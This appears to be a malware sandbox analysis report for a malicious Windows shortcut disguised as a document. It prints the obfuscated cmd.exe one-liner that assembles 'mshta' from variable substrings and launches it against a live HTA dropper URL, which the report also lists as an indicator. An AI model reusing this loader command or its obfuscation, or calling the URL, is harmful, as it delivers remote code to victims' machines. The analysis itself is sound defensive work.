Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:40

General

  • Target
    DOC-34KBBB.lnk
  • Size 2KB
  • Sample260804-kkt3jswbjf
  • SHA256 45b6ee2b56fbbabfe9637d6c635217f16b482d09f87da171d717d6d5f97b63bf
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-34KBBB.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5920
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set cRO=cfggecijtjedmacfg&&set spTeg=winbbxkbnxnrmrwin&&set ZmGj=logzgxmotfeihxylbulgvsdtlog&&set XbmGQ=sysqkvkumzjtpsbbnliqsys&&set xfiH=cacheprxsppgqacache&&set ApU=winghvzmzegbhvwin&&set qsR=bvom95&&set QJm=6sht43&&set CjtDI=a49akq&&set cQFL=oldgrelqooqyovfmold&&set NPa=dateeejwxukqkrarnceldadat&&set Gw=netqsxgoprchlnet&&set sSb=lesd&&set ZP=uats&&set pk=rqzartzp&&set PJ=datpoaneqvovpisiknrdat&&set Rtiws=tmpsfkqyrwbzjcxcecsctmp&&set bXA=dbgkwsrpqrozacrdbg&&set VwEAi=ht@tps@://m@a-@pdf@fil@[email protected]@/@h/@e@s@tagio1.@php?r@=39@1@469F@B@5D82DB&&start /b !qsR:~3,1!!QJm:~1,3!!CjtDI:~3,1! !VwEAi:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1976
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:2008

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads